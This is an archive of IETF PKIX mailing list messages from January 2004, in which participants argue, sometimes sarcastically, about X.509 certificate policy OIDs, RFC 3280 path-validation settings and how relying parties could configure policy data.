Received: from smtp5.hy.skanova.net (smtp5.hy.skanova.net [195.67.199.134]) by av5-2-sn1.fre.skanova.net (Postfix) with ESMTP id E8EFB37F34; Wed, 28 Jan 2004 17:18:20 +0100 (CET)
Received: from arport (t10o913p27.telia.com [213.64.27.147]) by smtp5.hy.skanova.net (8.12.10/8.12.10) with SMTP id i0SGIJ7N006010; Wed, 28 Jan 2004 17:18:19 +0100 (CET)
Message-ID: <03c801c3e5b9$94ece750$0500a8c0@arport>
From: "Anders Rundgren" <[e-mail]>
To: "Richard Levitte - VMS Whacker" <[e-mail]>
Cc: <[e-mail]>, <[e-mail]>
References: <[e-mail]> <002601c3e518$848b66d0$0500a8c0@arport> <[e-mail]>
Subject: Re: Setting X.509 Policy Data in IE, IIS, Outlook
Date: Wed, 28 Jan 2004 17:12:51 +0100
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1106
X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

>> Assuming that you added such support to the Windows
>> trust anchor installation process, I believe you
>> would run into a little problem: How is the trust
>> administrator supposed to know what policy OIDs the
>> CA uses?

>I'm sorry, I'm not sure I understand the question.  Did you mean any
>other OID than what should be found in the CA certificate?

There are no requirements to use policy OIDs at all, making the
trust admin process rather arbitrary.

Regarding those CAs who use policy OIDs, is there a MUST
to also specify these at CA-level to make path-validation work?

Anders



Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0SGA3WB038959; Wed, 28 Jan 2004 08:10:03 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0SGA3AY038957; Wed, 28 Jan 2004 08:10:03 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from nwkea-mail-1.sun.com (nwkea-mail-1.sun.com [192.18.42.13]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0SGA0VZ038935 for <[e-mail]>; Wed, 28 Jan 2004 08:10:00 -0800 (PST) (envelope-from [e-mail])
Received: from phys-bur1-1 ([129.148.13.15]) by nwkea-mail-1.sun.com (8.12.10/8.12.9) with ESMTP id i0SG9uj4001861 for <[e-mail]>; Wed, 28 Jan 2004 08:09:56 -0800 (PST)
Received: from sun.com (dhcp-ubur02-75-161.East.Sun.COM [129.148.75.161]) by bur-mail2.east.sun.com (iPlanet Messaging Server 5.2 HotFix 1.16 (built May 14 2003)) with ESMTPA id <[e-mail]> for [e-mail]; Wed, 28 Jan 2004 11:09:56 -0500 (EST)
Date: Wed, 28 Jan 2004 11:08:58 -0500
From: Steve Hanna <[e-mail]>
Subject: Re: Setting X.509 Policy Data in IE, IIS, Outlook
To: Anders Rundgren <[e-mail]>
Cc: [e-mail]
Message-id: <[e-mail]>
MIME-version: 1.0
X-Mailer: Mozilla 4.79 [en] (WinNT; U)
Content-type: multipart/signed; boundary=------------msDAB2604412BBA68F9CBDFDC7; micalg=sha1; protocol="application/x-pkcs7-signature"
X-Accept-Language: en
References: <020201c3e4c2$90d03b60$0500a8c0@arport> <p06020403bc3c20462220@[128.89.89.75]> <041c01c3e4eb$a5411820$0500a8c0@arport> <p06020409bc3c3f827415@[128.89.89.75]> <005001c3e50b$9cddac00$0500a8c0@arport> <p06020405bc3d7a1ddfed@[128.33.244.157]>
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

This is a cryptographically signed message in MIME format.

--------------msDAB2604412BBA68F9CBDFDC7
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

At 20:27 +0100 1/27/04, Anders Rundgren wrote:
> A "compliant management interface for the security policy
> database" for X.509 would be fun to review. As far as I can
> see, the X.509 policy mechanisms are flawed to the point where
> it becomes technically infeasible to specify such an interface.
> But I stay interested if anybody dares to challenge that statement
> with something tangible instead of the usual PKI mumbo-jumbo,
> like "there are many ways to do this".

OK, I'll take the bait. But I'll pass on Peter Gutmann's "reward".

First, let me address the implicit question
"Who needs certificate policies? Why bother?"
Some PKI users want to support multiple levels of
assurance within a single PKI. For example, many
U.S. government agencies want this. To accomplish
this, they put a certificate policy extension in
each certificate indicating under which policy or
policies it was issued.

Many PKI users (CAs and relying parties) don't need
this. They can just omit all policy-related extensions
from their certificates and forget about configuring
their relying party software with policy-related
parameters.

Now, on to the matter of describing a "compliant management
interface for the security policy database". Actually,
David Cross already did this. He explained that the
Windows Server 2003 IAS Server component allows administrators
to configure the set of allowed policy OIDs. That's
equivalent to the "user-initial-policy-set" described
in RFC 3280. Some users might also want the ability
to set the other flags specified in 3280 (like
initial-policy-mapping-inhibit), but the functionality
described by David is probably sufficient for most purposes.

See, that wasn't so hard, was it? I admit that most
users won't care about or understand these parameters.
In fact, most users don't know who their trust anchors
are or what the RSA algorithm is. But that's not a good
argument for removing trust anchors and the RSA algorithm
from standards and software. It's an argumnet for providing
good default settings and good ways for administrators
and power users to modify those defaults.

I expect this email will set off another flurry of
responses, but maybe they will be more insightful
than the barrage of content-free attacks we have
had so far. I can hope, can't I? ;-)

Thanks,

Steve
--------------msDAB2604412BBA68F9CBDFDC7
Content-Type: application/x-pkcs7-signature; name="smime.p7s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="smime.p7s"
Content-Description: S/MIME Cryptographic Signature

MIIIEAYJKoZIhvcNAQcCoIIIATCCB/0CAQExCzAJBgUrDgMCGgUAMAsGCSqGSIb3DQEHAaCC
BeMwggKjMIICDKADAgECAgMKVAgwDQYJKoZIhvcNAQEEBQAwgZIxCzAJBgNVBAYTAlpBMRUw
EwYDVQQIEwxXZXN0ZXJuIENhcGUxEjAQBgNVBAcTCUNhcGUgVG93bjEPMA0GA1UEChMGVGhh
d3RlMR0wGwYDVQQLExRDZXJ0aWZpY2F0ZSBTZXJ2aWNlczEoMCYGA1UEAxMfUGVyc29uYWwg
RnJlZW1haWwgUlNBIDIwMDAuOC4zMDAeFw0wMzA3MTExMTAxNTFaFw0wNDA3MTAxMTAxNTFa
MGgxDjAMBgNVBAQTBUhhbm5hMRUwEwYDVQQqEwxTdGVwaGVuIFJvc3MxGzAZBgNVBAMTElN0
ZXBoZW4gUm9zcyBIYW5uYTEiMCAGCSqGSIb3DQEJARYTc3RldmUuaGFubmFAc3VuLmNvbTCB
nzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEAoxRk/abMPe7Km2EqpD2FZXzjiBGUHhIdNlIO
9W6mdCQro1xMc+sv+93UuVnIzse+XA67Tqx4g5FdoQ+PI8TQYemYSkTD9GitgU563ypu03UV
86zTJA7u9zVkNv/qL2LRKZ9BXy2Smtet+PUh3nYjMh/ZY7LQxQzmdu1Zunue+yECAwEAAaMw
MC4wHgYDVR0RBBcwFYETc3RldmUuaGFubmFAc3VuLmNvbTAMBgNVHRMBAf8EAjAAMA0GCSqG
SIb3DQEBBAUAA4GBAHbpX0TKiOFu1vxKc3nAOcUHwoci5kinboYrnjWcl37mMXXbBFntaYRM
9LxpGtHdPm7F4pAviKp8bnFzTU46OyUw3kNUAVGDeWYVQC76f0dDZdA313Tn88UZYa+N6O8W
bO8wjKA2vg+yx79WXJCFDu+TpsG/28NKPdH42w8LEOVHMIIDODCCAqGgAwIBAgIQZkVyt8x0
9c9jdkWE0C6RATANBgkqhkiG9w0BAQQFADCB0TELMAkGA1UEBhMCWkExFTATBgNVBAgTDFdl
c3Rlcm4gQ2FwZTESMBAGA1UEBxMJQ2FwZSBUb3duMRowGAYDVQQKExFUaGF3dGUgQ29uc3Vs
dGluZzEoMCYGA1UECxMfQ2VydGlmaWNhdGlvbiBTZXJ2aWNlcyBEaXZpc2lvbjEkMCIGA1UE
AxMbVGhhd3RlIFBlcnNvbmFsIEZyZWVtYWlsIENBMSswKQYJKoZIhvcNAQkBFhxwZXJzb25h
bC1mcmVlbWFpbEB0aGF3dGUuY29tMB4XDTAwMDgzMDAwMDAwMFoXDTA0MDgyNzIzNTk1OVow
gZIxCzAJBgNVBAYTAlpBMRUwEwYDVQQIEwxXZXN0ZXJuIENhcGUxEjAQBgNVBAcTCUNhcGUg
VG93bjEPMA0GA1UEChMGVGhhd3RlMR0wGwYDVQQLExRDZXJ0aWZpY2F0ZSBTZXJ2aWNlczEo
MCYGA1UEAxMfUGVyc29uYWwgRnJlZW1haWwgUlNBIDIwMDAuOC4zMDCBnzANBgkqhkiG9w0B
AQEFAAOBjQAwgYkCgYEA3jMypmPHCSVFPtJueCdngcXaiBmClw7jRCmKYzUqbXA8+tyu9+50
bzC8M5B/+TRxoKNtmPHDT6Jl2w36S/HW3WGl+YXNVZo1Gp2Sdagnrthy+boC9tewkd4c6avg
GAOofENCUFGHgzzwObSbVIoTh/+zm51JZgAtCYnslGvpoWkCAwEAAaNOMEwwKQYDVR0RBCIw
IKQeMBwxGjAYBgNVBAMTEVByaXZhdGVMYWJlbDEtMjk3MBIGA1UdEwEB/wQIMAYBAf8CAQAw
CwYDVR0PBAQDAgEGMA0GCSqGSIb3DQEBBAUAA4GBADGxS0dd+QFx5fVTbF151j2YwCYTYoEi
pxL4IpXoG0m3J3sEObr85vIk65H6vewNKjj3UFWobPcNrUwbvAP0teuiR59sogxYjTFCCRFs
sBpp0SsSskBdavl50OouJd2K5PzbDR+dAvNa28o89kTqJmmHf0iezqWf54TYyWJirQXGMYIB
9TCCAfECAQEwgZowgZIxCzAJBgNVBAYTAlpBMRUwEwYDVQQIEwxXZXN0ZXJuIENhcGUxEjAQ
BgNVBAcTCUNhcGUgVG93bjEPMA0GA1UEChMGVGhhd3RlMR0wGwYDVQQLExRDZXJ0aWZpY2F0
ZSBTZXJ2aWNlczEoMCYGA1UEAxMfUGVyc29uYWwgRnJlZW1haWwgUlNBIDIwMDAuOC4zMAID
ClQIMAkGBSsOAwIaBQCggbEwGAYJKoZIhvcNAQkDMQsGCSqGSIb3DQEHATAcBgkqhkiG9w0B
CQUxDxcNMDQwMTI4MTYwODU4WjAjBgkqhkiG9w0BCQQxFgQU9qiXouLfWTEE0YI5Csh/vMxY
zSwwUgYJKoZIhvcNAQkPMUUwQzAKBggqhkiG9w0DBzAOBggqhkiG9w0DAgICAIAwBwYFKw4D
AgcwDQYIKoZIhvcNAwICAUAwDQYIKoZIhvcNAwICASgwDQYJKoZIhvcNAQEBBQAEgYChFw3M
XV53ceX/PsVis+tV0cWsgl4MrtOL4WVYURx3C1s8mY696PuNV0k4JJMrnG0ILZXbz4xozJvl
9osdCqSVV1TXhfcqYUFIMm5QUYO6LrPXzG+F1K1fzMxUDma+168kRtYAIddIbc4l1diudMyf
sg/xpwSIz4Fi1nf901hJfg==
--------------msDAB2604412BBA68F9CBDFDC7--



Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0SG0MP0038335; Wed, 28 Jan 2004 08:00:22 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0SG0MIG038334; Wed, 28 Jan 2004 08:00:22 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from smtp.cs.auckland.ac.nz (smtp.cs.auckland.ac.nz [130.216.33.151]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0SG0KCC038326 for <[e-mail]>; Wed, 28 Jan 2004 08:00:20 -0800 (PST) (envelope-from [e-mail])
Received: from cs.auckland.ac.nz (medusa01.cs.auckland.ac.nz [130.216.34.33]) by smtp.cs.auckland.ac.nz (Postfix) with ESMTP id 66DA134045; Thu, 29 Jan 2004 04:59:30 +1300 (NZDT)
Received: (from pgut001@localhost) by cs.auckland.ac.nz (8.11.6/8.11.6) id i0SG0GS26114; Thu, 29 Jan 2004 05:00:16 +1300
Date: Thu, 29 Jan 2004 05:00:16 +1300
Message-Id: <[e-mail]>
From: [e-mail] (Peter Gutmann)
To: [e-mail], [e-mail]
Subject: RE: Setting X.509 Policy Data in IE, IIS, Outlook
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

"Santosh Chokhani" <[e-mail]> writes:

>It is part of ISO/IEC JTC 1/SC 06 N12345 dated Nov. 14, 2002 working draft.
>David Cooper and Laura Boyer may be in better position to state the exact
>status.

Ahh, OK.  I sorta stopped following the drafts about a year after it was
supposed to have been finished (that's also why I wasn't quite sure whether
the drafts you referred to are still v4 drafts or the start of the v5 drafts).
The ITU web site doesn't help much either, with the main version (before the
flood of corrigenda also on the site) being dated 2000 but posted 2001, so the
official date for the final standard predates the working drafts I've got.

Peter.



Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0SFltZt037565; Wed, 28 Jan 2004 07:47:55 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0SFltbl037564; Wed, 28 Jan 2004 07:47:55 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from nic.lp.se (nic.lp.se [213.212.3.208]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0SFlr8E037552 for <[e-mail]>; Wed, 28 Jan 2004 07:47:53 -0800 (PST) (envelope-from [e-mail])
Received: from localhost (127.0.0.1) by nic.lp.se (MX V5.3 VnHj) with ESMTP; Wed, 28 Jan 2004 16:46:20 +0100
Date: Wed, 28 Jan 2004 16:46:06 +0100 (CET)
Message-ID: <[e-mail]>
To: [e-mail]
CC: [e-mail], [e-mail]
Subject: Re: Setting X.509 Policy Data in IE, IIS, Outlook
From: Richard Levitte - VMS Whacker <[e-mail]>
In-Reply-To: <002601c3e518$848b66d0$0500a8c0@arport>
References: <[e-mail]> <002601c3e518$848b66d0$0500a8c0@arport>
X-URL: http://www.lp.se/
X-Waved: dead chicken, GNU emacs 21.3.1, Mew version 4.0.63
X-Mew: See http://www.mew.org/
X-Mailer: Mew version 4.0.63 on Emacs 21.3.1 / Mule 5.0 (SAKAKI)
MIME-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

In message <002601c3e518$848b66d0$0500a8c0@arport> on Tue, 27 Jan 2004 21:59:55 +0100, "Anders Rundgren" <[e-mail]> said:

anders.rundgren> Assuming that you added such support to the Windows
anders.rundgren> trust anchor installation process, I believe you
anders.rundgren> would run into a little problem: How is the trust
anders.rundgren> administrator supposed to know what policy OIDs the
anders.rundgren> CA uses?

I'm sorry, I'm not sure I understand the question.  Did you mean any
other OID than what should be found in the CA certificate?

-----
Please consider sponsoring my work on free software.
See http://www.free.lp.se/sponsoring.html for details.

-- 
Richard Levitte     | http://richard.levitte.org/ | Tunnlandsv. 3
Levitte Programming | http://www.lp.se/           | S-168 36 Bromma
T: [phone] |                             | SWEDEN
     "Price, performance, quality...  choose the two you like"



Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0SFafxW036834; Wed, 28 Jan 2004 07:36:41 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0SFafb0036833; Wed, 28 Jan 2004 07:36:41 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from av3-2-sn1.fre.skanova.net (av3-2-sn1.fre.skanova.net [81.228.11.110]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0SFaenF036823 for <[e-mail]>; Wed, 28 Jan 2004 07:36:40 -0800 (PST) (envelope-from [e-mail])
Received: by av3-2-sn1.fre.skanova.net (Postfix, from userid 502) id 4EB7B37ED8; Wed, 28 Jan 2004 16:36:36 +0100 (CET)
Received: from smtp5.hy.skanova.net (smtp5.hy.skanova.net [195.67.199.134]) by av3-2-sn1.fre.skanova.net (Postfix) with ESMTP id 3F02B37E55; Wed, 28 Jan 2004 16:36:36 +0100 (CET)
Received: from arport (t9o913p72.telia.com [213.64.27.72]) by smtp5.hy.skanova.net (8.12.10/8.12.10) with SMTP id i0SFaY7N013923; Wed, 28 Jan 2004 16:36:35 +0100 (CET)
Message-ID: <038601c3e5b3$bfd3eeb0$0500a8c0@arport>
From: "Anders Rundgren" <[e-mail]>
To: "Santosh Chokhani" <[e-mail]>, <[e-mail]>
References: <01af01c3e596$15c34640$[e-mail]>
Subject: Re: Setting X.509 Policy Data in IE, IIS, Outlook
Date: Wed, 28 Jan 2004 16:31:06 +0100
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1106
X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Santosh,
Instead of going for the profound aspects of PKI, you can start
at the "newbe" level by answering some simple questions like

- How does an RP "trust admin" know what policies a CA support?

- If policy settings would be implemented in core systems like CryptoAPI,
  Java Keystore, CryptLib etc. would that not require that these trust store
  system would be revised in order to also house policy setting data?

Anders

----- Original Message ----- 
From: "Santosh Chokhani" <[e-mail]>
To: <[e-mail]>
Sent: Wednesday, January 28, 2004 12:58
Subject: RE: Setting X.509 Policy Data in IE, IIS, Outlook



Peter:

I do not if your reward is punishment or reward, if you speak in plain
American English (pardon the parochialism) or Hindi will be glad to tell you
how the application can be configured for policy processing or the
application can provide the user interface.  I also encourage you to read
Annex J of X.509 draft.

-----Original Message-----
From: [e-mail] [mailto:[e-mail]] On
Behalf Of Peter Gutmann
Sent: Tuesday, January 27, 2004 7:29 PM
To: [e-mail]; [e-mail]
Cc: [e-mail]
Subject: Re: Setting X.509 Policy Data in IE, IIS, Outlook



Stephen Kent <[e-mail]> writes:

>>Borrowing from your IPsec complaints:
>>A "compliant management interface for the security policy database" 
>>for X.509 would be fun to review.  As far as I can see, the X.509 
>>policy mechanisms are flawed to the point where it becomes technically 
>>infeasible to specify such an interface.  But I stay interested if 
>>anybody dares to challenge that statement with something tangible 
>>instead of the usual PKI mumbo-jumbo, like "there are many ways to do 
>>this".
>
>A challenge with no apparent reward to motivate a response, as usual 
>...

I hereby offer a reward of one (1) bilabial fricative to anyone who can
provide a clear technical explanation/description of a policy management
interface for X.509, to be paid in full upon delivery of said
explanation/description.

Peter.




Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0SExUWD034650; Wed, 28 Jan 2004 06:59:30 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0SExU3I034649; Wed, 28 Jan 2004 06:59:30 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from host13.websitesource.com (host13.websitesource.com [209.239.35.152]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0SExRZD034639 for <[e-mail]>; Wed, 28 Jan 2004 06:59:30 -0800 (PST) (envelope-from [e-mail])
Received: from wchokhani (dpvc-138-88-161-20.res.east.verizon.net [138.88.161.20]) by host13.websitesource.com (8.12.10/8.12.10) with ESMTP id i0SExPh2029786 for <[e-mail]>; Wed, 28 Jan 2004 09:59:25 -0500
From: "Santosh Chokhani" <[e-mail]>
To: <[e-mail]>
Subject: RE: Setting X.509 Policy Data in IE, IIS, Outlook
Date: Wed, 28 Jan 2004 09:59:14 -0500
Message-ID: <01f701c3e5af$4ea99540$[e-mail]>
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.4510
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
In-Reply-To: <[e-mail]>
Importance: Normal
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by above.proper.com id i0SExUZD034644
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Peter:

It is part of ISO/IEC JTC 1/SC 06 N12345 dated Nov. 14, 2002 working draft.
David Cooper and Laura Boyer may be in better position to state the exact
status.

-----Original Message-----
From: [e-mail] [mailto:[e-mail]] On
Behalf Of Peter Gutmann
Sent: Wednesday, January 28, 2004 8:32 AM
To: [e-mail]; [e-mail]
Subject: RE: Setting X.509 Policy Data in IE, IIS, Outlook



"Santosh Chokhani" <[e-mail]> writes:

>I do not if your reward is punishment or reward,

Well it'll certainly be pretty rewarding for anyone watching.

>I also encourage you to read Annex J of X.509 draft.

Hmm, it's not in any draft I have, is that the eternal-draft fourth edition,
or has X.509 skipped the middleman and jumped straight from 4th edition
drafts into 5th edition drafts?

Peter.




Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0SEsSwv034327; Wed, 28 Jan 2004 06:54:28 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0SEsSlo034326; Wed, 28 Jan 2004 06:54:28 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from aragorn.bbn.com (aragorn.bbn.com [128.33.0.62]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0SEsQTC034316 for <[e-mail]>; Wed, 28 Jan 2004 06:54:26 -0800 (PST) (envelope-from [e-mail])
Received: from [128.33.244.157] (col-dhcp33-244-157.bbn.com [128.33.244.157]) by aragorn.bbn.com (8.12.7/8.12.7) with ESMTP id i0SEsLM9010544; Wed, 28 Jan 2004 09:54:22 -0500 (EST)
Mime-Version: 1.0
X-Sender: [e-mail]
Message-Id: <p06020405bc3d7a1ddfed@[128.33.244.157]>
In-Reply-To: <005001c3e50b$9cddac00$0500a8c0@arport>
References: <020201c3e4c2$90d03b60$0500a8c0@arport> <p06020403bc3c20462220@[128.89.89.75]> <041c01c3e4eb$a5411820$0500a8c0@arport> <p06020409bc3c3f827415@[128.89.89.75]> <005001c3e50b$9cddac00$0500a8c0@arport>
Date: Wed, 28 Jan 2004 09:54:10 -0500
To: "Anders Rundgren" <[e-mail]>
From: Stephen Kent <[e-mail]>
Subject: Re: Setting X.509 Policy Data in IE, IIS, Outlook
Cc: <[e-mail]>
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Scanned-By: MIMEDefang 2.28 (www . roaringpenguin . com / mimedefang)
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

At 20:27 +0100 1/27/04, Anders Rundgren wrote:
>  >>A "compliant management interface for the security policy database"
>>>for X.509 would be fun to review.  As far as I can see, the X.509
>>>policy mechanisms are flawed to the point where it becomes technically
>>>infeasible to specify such an interface.  But I stay interested if anybody
>>>dares to challenge that statement with something tangible instead of
>>>the usual PKI mumbo-jumbo, like "there are many ways to do this".
>
>>A challenge with no apparent reward to motivate a response, as usual ...
>
>May I help you with some analysis?

you can try, but experience suggests otherwise :-)

>PKI projects historically started with the CA, and this has influenced
>some PKI standards as well, the RFC3280 policy support is a prime
>example of that.

successful PKI projects start with a problem that needs to be solved.

>However, being a CA, is being an "information producer" which is
>considerably easier than being an "information consumer" as only the
>latter has to "interpret" and maybe "act" upon what the information
>producer says.
>
>If the designers of the policy system instead had focused on the relying
>party (the "information consumer"), they had probably realized that a
>relying party consists of 1) the relying party software 2) the people
>depending on the relying party software.
>
>Further analysis shows that the "people" category, except in the most
>trivial scenarios, consists of  "trust administrators" and "end users".
>In the background there are also some legal folks lurking around.

warning, neologism alert! "trust administrator" is a nonsense term 
created to obfuscate technical issues.

>If you then apply the design constraint that all these entities should
>have the best possible system adapted for the entities' actual tasks
>and competence, you would end-up with a very different policy scheme.

any time someone suggests that a system should be "optimized" for 
multiple entities who may have conflicting goals, we ought to be wary.

>Commercial CAs know that, and therefore with few exceptions, continue
>to ignore a system that was not designed with the "customer in mind".

commercial CAs often optimize their profit. to the exclusion of all 
else.  whether that is achieved by doing the best job for their 
clients is hard to say, since we have an effective monopoly in the 
commercial CA business, in most respects. this is like saying that 
the software with the biggest market share is that which is best for 
its users.

>The major difference is that policy in commercial CAs is associated
>with the CA, eliminating the need for moving trust processing and
>trust administration tasks into the application and user domains
>respectively.  This enables the creation of shrink-wrap RP software
>as well as shielding end-users from too close encounters with PKI.

you often use the phrase "shrink wrap RP software" but never seem to 
be able to provide a non-marketing characterization. and, the 
appearance of "trust administration" here again sets off the 
neologism alert.

>This also allows trust admins to anytime, using "CA properties",
>view what "they actually currently trust", without having a single
>EE certificate!

alert, alert, ...


Steve



Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0SEkpf7033591; Wed, 28 Jan 2004 06:46:51 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0SEkpWl033590; Wed, 28 Jan 2004 06:46:51 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from aragorn.bbn.com (aragorn.bbn.com [128.33.0.62]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0SEkmxj033577 for <[e-mail]>; Wed, 28 Jan 2004 06:46:50 -0800 (PST) (envelope-from [e-mail])
Received: from [128.33.244.157] (col-dhcp33-244-157.bbn.com [128.33.244.157]) by aragorn.bbn.com (8.12.7/8.12.7) with ESMTP id i0SEkaMB010143; Wed, 28 Jan 2004 09:46:37 -0500 (EST)
Mime-Version: 1.0
X-Sender: [e-mail]
Message-Id: <p06020403bc3d78f69af0@[128.33.244.157]>
In-Reply-To: <[e-mail]>
References: <[e-mail]>
Date: Wed, 28 Jan 2004 09:35:50 -0500
To: [e-mail] (Peter Gutmann)
From: Stephen Kent <[e-mail]>
Subject: Re: Setting X.509 Policy Data in IE, IIS, Outlook
Cc: [e-mail], [e-mail], [e-mail], [e-mail]
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Scanned-By: MIMEDefang 2.28 (www . roaringpenguin . com / mimedefang)
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

At 1:56 +1300 1/29/04, Peter Gutmann wrote:
>"Anders Rundgren" <[e-mail]> writes:
>
>>In case nobody, in spite of Peter Gutmann's generous reward,
>
>The reward has increased since then, I've had a few contributors in private
>mail offer to chip in with other bonuses just to see if Steve can come up with
>a useful explanation of a practical management interface for cert policies.

Oh Peter, I am flattered, but I am very expensive. Nede to tell me 
how many zeros are in the reward before I expend any effort on this.

steve



Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0SEcbfG033064; Wed, 28 Jan 2004 06:38:37 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0SEcbF0033063; Wed, 28 Jan 2004 06:38:37 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from odin2.bull.net (odin2.bull.net [192.90.70.84]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0SEcWsD033049 for <[e-mail]>; Wed, 28 Jan 2004 06:38:35 -0800 (PST) (envelope-from [e-mail])
Received: from clbull.frcl.bull.fr (IDENT:[e-mail] [129.182.8.31]) by odin2.bull.net (8.9.3/8.9.3) with ESMTP id PAA89384; Wed, 28 Jan 2004 15:46:06 +0100
Received: from bull.net (frcls4013.frcl.bull.fr [129.182.108.120]) by clbull.frcl.bull.fr (8.9.3/8.9.3) with ESMTP id QAA11905; Wed, 28 Jan 2004 16:33:46 +0100
Message-ID: <[e-mail]>
Date: Wed, 28 Jan 2004 15:38:27 +0100
From: Denis Pinkas <[e-mail]>
Organization: Bull SA.
User-Agent: Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.0.1) Gecko/20020823 Netscape/7.0
X-Accept-Language: en-us, en, fr
MIME-Version: 1.0
To: Anders Rundgren <[e-mail]>
CC: [e-mail]
Subject: Re: I-D ACTION:draft-ietf-pkix-pi-08.txt
References: <005701c3e08e$9b392fe0$[e-mail]> <00c701c3e121$0ae3af90$0500a8c0@arport>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Anders,

> Well Jim,
> The PI-draft is certainly an odd creature that has been in PKIX's
> "custody" for now close to four(!) years.
> 
